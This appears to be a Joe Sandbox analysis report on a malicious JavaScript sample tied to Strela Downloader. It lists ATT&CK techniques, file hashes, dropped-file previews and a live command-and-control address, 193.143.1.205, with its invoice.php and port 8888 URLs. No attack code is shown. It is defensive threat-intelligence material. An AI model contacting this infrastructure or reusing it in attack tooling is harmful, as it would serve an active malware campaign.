Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
42173378525889.js	5%	Virustotal		Browse
42173378525889.js	0%	ReversingLabs

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://crl.ver)	svchost.exe, 00000009.00000002.2859741072.000001BC7EC0F000.00000004.00000020.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false	high
https://www.adobe.co	ReaderMessages.5.dr	false	high
https://g.live.com/odclientsettings/Prod-C:	edb.log.9.dr, qmgr.db.9.dr	false	high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1627156843.0000028B9BE78000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1627156843.0000028B9BEAD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1627156843.0000028B9BECB000.00000004.00000020.00020000.00000000.sdmp	false	high
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 00000009.00000003.1637575360.000001BC7EE00000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588095
Start date and time:	2025-01-10 21:19:32 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 29s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	42173378525889.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@28/60@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 172.64.41.3, 162.159.61.3, 23.209.209.135, 184.28.90.27, 50.16.47.176, 18.213.11.84, 54.224.241.105, 34.237.241.83, 199.232.214.172, 2.16.168.107, 2.16.168.105, 23.40.179.48, 23.40.179.63, 23.40.179.56, 23.40.179.35, 4.245.163.56, 96.17.64.171, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, fs.microsoft.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
15:20:54	API Interceptor	25x Sleep call for process: powershell.exe modified
15:20:58	API Interceptor	1x Sleep call for process: net.exe modified
15:20:58	API Interceptor	2x Sleep call for process: svchost.exe modified
15:21:06	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	24928193762733825739.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	24108325173196611859.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	19321276562420914470.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	49441311255025245.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2091470502273216855.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	138505539275318569.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	677073752851910183.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	296419801857622488.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2906816133204732533.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	741645402364914803.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	24108325173196611859.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	19321276562420914470.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2091470502273216855.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2906816133204732533.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	741645402364914803.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	18444172742706830592.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1358019715229232264.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1272729276326267500.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1882131031120212290.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	invoice_AG60538.pdf	Get hash	malicious	Unknown	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	24928193762733825739.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	24108325173196611859.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	19321276562420914470.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	49441311255025245.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2091470502273216855.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	138505539275318569.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	677073752851910183.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	296419801857622488.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	348426869538810128.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2906816133204732533.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8807600961624718
Encrypted:	false
SSDEEP:	1536:0JVRkX56mk0alaS0aHH0anjJ8PUWJ81s5J8RMvCxwtYD0pQoltqNeveEQYQ1aG9l:0J7adfWuK0p/QDfKoPeuP0aN4fqoxS
MD5:	B5CAAE66FDE7332301DD6C55CCB9C2B9
SHA1:	1AB842757A42BE20DD93A3DE673B6062E0DDC31E
SHA-256:	A9F81BEAE7241182980D57947BA045616F3373AD356DD6879C057D4DEDE541DF
SHA-512:	C4848514A3DC8A8C69919C08F499587F445AE7F9B3A70DE95DD60BA407A96198BAB4BEA5402AE0478F022A6CA338B7CCFD3E8F49A9C6CA4D0C81968CED729AD1
Malicious:	false
Preview:	2.e.........@..@12...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................K<...kS..#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x8d49220b, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7880651948034977
Encrypted:	false
SSDEEP:	1536:nSB2ESB2SSjlK/lv4T9DY1k0aXjJ8VQVYkr3g16iq2UPkLk+kYv/gKr51KrgzAkv:nazaPv4V4fXq2UaB
MD5:	6630092608E9528AF79A1326F862498D
SHA1:	2575AC3DCF861971A730027B6D421B76DFF650F3
SHA-256:	36AC24E90BFE26741037F5053C0F119F433F1E3C853B6E2148202310C7199E36
SHA-512:	A573C0122CBD28558176B35C91E1E6B5928ABFDEEFC6DA10E310C010D8B32B66AABC7EDF908E111DD81BFFA63FE140D330A496597FADC79A4F855E15F8F45ABA
Malicious:	false
Preview:	.I".... ...............X\...;...{......................X............{..;....}..h...........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......12...{...............................................................................................................................................................................................2...{......................................;....}=8..................<3;....}...........................#......h.......................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08065949865715669
Encrypted:	false
SSDEEP:	3:Nl/yYep+XlVG0+q2Iqe8ldexDmAllNTt/4ll/Q6beV/:3/yzp8GE8ldexDmAHtc6V
MD5:	4F1D4891C4C156A55E4CE30F08E5AD58
SHA1:	CFF1C6FA87266D831F297C9B811DDF6C0054A908
SHA-256:	E23DC2FC7400E29B0FA24D3BFC10B727C5FA0B115B26D43743A375D5C20788A2
SHA-512:	D5473EB2B7913325EA56196608439BDD9CC6DFC43DEF5A25BCAA82C85038E9BB5E01D0B8E7239BFA14247120BD795757F681E5A47FE79F37116BAEF5A935240F
Malicious:	false
Preview:	.{`......................................;...{..;....}.......{...............{.......{....:......{...................<3;....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.172251782080034
Encrypted:	false
SSDEEP:	6:iO4S1bL9+q2PFi2nKuAl9OmbnIFUtSS1pJZmwsS1eq9VkwOFi2nKuAl9OmbjLJ:7x9+vdZHAahFUthJ/Eq9V5wZHAaSJ
MD5:	EABFD09F7136EFEED19766C1931F5F57
SHA1:	40246123C73014D7B9EDDDA9D51F4DCD0BF4E5F7
SHA-256:	3A41E07A68138899FE704F0D4BC94F0D5788B392664531B92595B0D97F4D83CB
SHA-512:	FBDBF008F77F4C322602788C8194628194E0CDED915F6F592AF873CF1418983C5ACC2D9E8D3313DDF896B31482E7AB29FC91D7A9A75AF0FEEFB883690EFE0F21
Malicious:	false
Preview:	2025/01/10-15:20:58.707 1c4c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-15:20:58.709 1c4c Recovering log #3.2025/01/10-15:20:58.710 1c4c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.172251782080034
Encrypted:	false
SSDEEP:	6:iO4S1bL9+q2PFi2nKuAl9OmbnIFUtSS1pJZmwsS1eq9VkwOFi2nKuAl9OmbjLJ:7x9+vdZHAahFUthJ/Eq9V5wZHAaSJ
MD5:	EABFD09F7136EFEED19766C1931F5F57
SHA1:	40246123C73014D7B9EDDDA9D51F4DCD0BF4E5F7
SHA-256:	3A41E07A68138899FE704F0D4BC94F0D5788B392664531B92595B0D97F4D83CB
SHA-512:	FBDBF008F77F4C322602788C8194628194E0CDED915F6F592AF873CF1418983C5ACC2D9E8D3313DDF896B31482E7AB29FC91D7A9A75AF0FEEFB883690EFE0F21
Malicious:	false
Preview:	2025/01/10-15:20:58.707 1c4c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-15:20:58.709 1c4c Recovering log #3.2025/01/10-15:20:58.710 1c4c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.158194306538676
Encrypted:	false
SSDEEP:	6:iO4S102FIq2PFi2nKuAl9Ombzo2jMGIFUtSS10hLZmwsS10hBkwOFi2nKuAl9OmT:7xFIvdZHAa8uFUtg/O5wZHAa8RJ
MD5:	AE430DCEA322FBC5DF56ADCCEEC791C1
SHA1:	18B89D06289A366B08F9DA57450C14829BE9CD78
SHA-256:	7C43E3DD0DF6D652EFDE5EE6EBF378BD3144F434AC7FBE1970CE58FEC1CA160B
SHA-512:	AAE89A8E7E30BD2F42A9058839A4784F2D93AC2490663D623B21A879CBD9E92B65C8F18B9F97E7E1DE9FFFE441BCCFDE34CBE3CFFEE14A05F783B33F2BE926C1
Malicious:	false
Preview:	2025/01/10-15:20:58.694 1cb0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-15:20:58.695 1cb0 Recovering log #3.2025/01/10-15:20:58.695 1cb0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.158194306538676
Encrypted:	false
SSDEEP:	6:iO4S102FIq2PFi2nKuAl9Ombzo2jMGIFUtSS10hLZmwsS10hBkwOFi2nKuAl9OmT:7xFIvdZHAa8uFUtg/O5wZHAa8RJ
MD5:	AE430DCEA322FBC5DF56ADCCEEC791C1
SHA1:	18B89D06289A366B08F9DA57450C14829BE9CD78
SHA-256:	7C43E3DD0DF6D652EFDE5EE6EBF378BD3144F434AC7FBE1970CE58FEC1CA160B
SHA-512:	AAE89A8E7E30BD2F42A9058839A4784F2D93AC2490663D623B21A879CBD9E92B65C8F18B9F97E7E1DE9FFFE441BCCFDE34CBE3CFFEE14A05F783B33F2BE926C1
Malicious:	false
Preview:	2025/01/10-15:20:58.694 1cb0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-15:20:58.695 1cb0 Recovering log #3.2025/01/10-15:20:58.695 1cb0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.9682735511752165
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqWVsBdOg2HfnAcaq3QYiubpP7E4T3y:Y2sRdsMdMHfnr3QYhbd7nby
MD5:	B9608A986A4490698D84E7EDD0E5EBE6
SHA1:	648A5E8E885A53DE9CC44DCBEB6AC5948FCA1371
SHA-256:	1B36F225D1607CACFB6C7051942D410F373FD145886763C5DDC25E9D8E9CD279
SHA-512:	82623A3DD90A680376D611BC7A958B9188F5A90CB9B13285CAF491FAC3716331183D2641576B88ECBB1184D9F53E4F945BA07256908517EB9E6E74942734DFE5
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381100470309167","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":131915},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\c3cbf65e-5fda-46da-b81f-2d0a28b22960.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	476
Entropy (8bit):	4.9682735511752165
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqWVsBdOg2HfnAcaq3QYiubpP7E4T3y:Y2sRdsMdMHfnr3QYhbd7nby
MD5:	B9608A986A4490698D84E7EDD0E5EBE6
SHA1:	648A5E8E885A53DE9CC44DCBEB6AC5948FCA1371
SHA-256:	1B36F225D1607CACFB6C7051942D410F373FD145886763C5DDC25E9D8E9CD279
SHA-512:	82623A3DD90A680376D611BC7A958B9188F5A90CB9B13285CAF491FAC3716331183D2641576B88ECBB1184D9F53E4F945BA07256908517EB9E6E74942734DFE5
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381100470309167","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":131915},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.232495826603706
Encrypted:	false
SSDEEP:	96:wshFT0h7cA4YC2EVPCqY35NEmNOYcGPtqKYSEVNjv6yy:wshFT0h7cZb2EVKZPEANcGIK5EVNjv6p
MD5:	970B6A96BE31CF0D964B7BA6081B7385
SHA1:	9A578623DB982107DE83C1A92A463FE7BC94915D
SHA-256:	23B261043E0CBA411307A41F354B2865AFD7B7D66AF23ED2B80CE997887507A4
SHA-512:	20D5A17BB9ED0B6B3632F95E29BC4D34F303C6A5F3D9E1CDA6F26172699674BCE0541289E6B1B15C760F0F6698353F5CCA4B9EFB7703FCB5421AF9C91F55F283
Malicious:	false
Preview:	*...#................version.1..namespace-#..o................next-map-id.1.Pnamespace-03b00fbd_48ad_47b1_8693_0d5562b6d54b-https://rna-resource.acrobat.com/.0..QRr................next-map-id.2.Snamespace-9efb0a2e_bf8a_4008_b12a_325311a763d0-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-493a2582_fd2f_403f_a0b6_bf623eaab337-https://rna-v2-resource.acrobat.com/.2%e.o................next-map-id.4.Pnamespace-285943ad_4ed5_46fb_8713_f1874054bf05-https://rna-resource.acrobat.com/.3nU..^...............Pnamespace-03b00fbd_48ad_47b1_8693_0d5562b6d54b-https://rna-resource.acrobat.com/"..C^...............Pnamespace-285943ad_4ed5_46fb_8713_f1874054bf05-https://rna-resource.acrobat.com/....a...............Snamespace-9efb0a2e_bf8a_4008_b12a_325311a763d0-https://rna-v2-resource.acrobat.com/.+;\|a...............Snamespace-493a2582_fd2f_403f_a0b6_bf623eaab337-https://rna-v2-resource.acrobat.com/....o................next-map-id.5.Pnamespace-10b75d2f_11e7_4fa3_ae23_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.173086525635383
Encrypted:	false
SSDEEP:	6:iO4S18Iq2PFi2nKuAl9OmbzNMxIFUtSS1vZmwsS1A1FzkwOFi2nKuAl9OmbzNMFd:7qIvdZHAa8jFUtX/uPz5wZHAa84J
MD5:	0AD7A35740B7339ECDD7B2720616D6BF
SHA1:	6D7202FC88CC48FAE15DD3340897DEFC0D2F4D33
SHA-256:	CA1604E2A9EFDD6A77FC7E875C7A830D181450F0548A709E2DD006A6AF98405F
SHA-512:	E8EDDFF607F0CD729898DDBBF80A1B62496A2D26152C8E6DC1C64C38ED4CCA533FA03E7A7C6CA9E256BA5A68569589BF5E10BE0A01500A5C4323C94934D02A65
Malicious:	false
Preview:	2025/01/10-15:20:58.934 1cb0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-15:20:58.935 1cb0 Recovering log #3.2025/01/10-15:20:58.936 1cb0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.173086525635383
Encrypted:	false
SSDEEP:	6:iO4S18Iq2PFi2nKuAl9OmbzNMxIFUtSS1vZmwsS1A1FzkwOFi2nKuAl9OmbzNMFd:7qIvdZHAa8jFUtX/uPz5wZHAa84J
MD5:	0AD7A35740B7339ECDD7B2720616D6BF
SHA1:	6D7202FC88CC48FAE15DD3340897DEFC0D2F4D33
SHA-256:	CA1604E2A9EFDD6A77FC7E875C7A830D181450F0548A709E2DD006A6AF98405F
SHA-512:	E8EDDFF607F0CD729898DDBBF80A1B62496A2D26152C8E6DC1C64C38ED4CCA533FA03E7A7C6CA9E256BA5A68569589BF5E10BE0A01500A5C4323C94934D02A65
Malicious:	false
Preview:	2025/01/10-15:20:58.934 1cb0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-15:20:58.935 1cb0 Recovering log #3.2025/01/10-15:20:58.936 1cb0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 16, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 16
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438483594870526
Encrypted:	false
SSDEEP:	384:CeNci5GgiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:KMurVgazUpUTTGt
MD5:	CA1B84E0D0410FDBA648D940C94AA527
SHA1:	74FF349F6A297B7F579A7D27A57E0DAC09B79350
SHA-256:	F8EE2CD1EFBC25FACABBED82A45D206F54DA2C8FEE9C8D287915C3B71CBF47FA
SHA-512:	56D91C07EEA20CF0241B6F282829EDE03E5E4AF787DAE850DD34C88537A23E2B83E0444B87A5FB4F49C0D023A6A53CF137F3F9CC09553C1E3187130E3A75B9C8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.216200244114906
Encrypted:	false
SSDEEP:	24:7+tfG6wKYlpqL7zkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf95:7MuWYlpq/mFTIF3XmHjBoGGR+jMz+LhT
MD5:	DAAA43B3192704937E2B14CAFC86584F
SHA1:	1513D102D228197077761408AEDF5755ED8E6AF5
SHA-256:	C833EDEB8D60EBF5C0014A5C7120A19FF3D3A5C9B0DD9F7D0F41B7C138B54C8A
SHA-512:	067A7306B4C8D9E90412DF8D820E6AA612D0F7EA1C2AA7BEEBD040BA98A61788893A9C0A8813E41B35A43D52E3171DC75E5999A173C9044873F17575C672BF7E
Malicious:	false
Preview:	.... .c........h........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
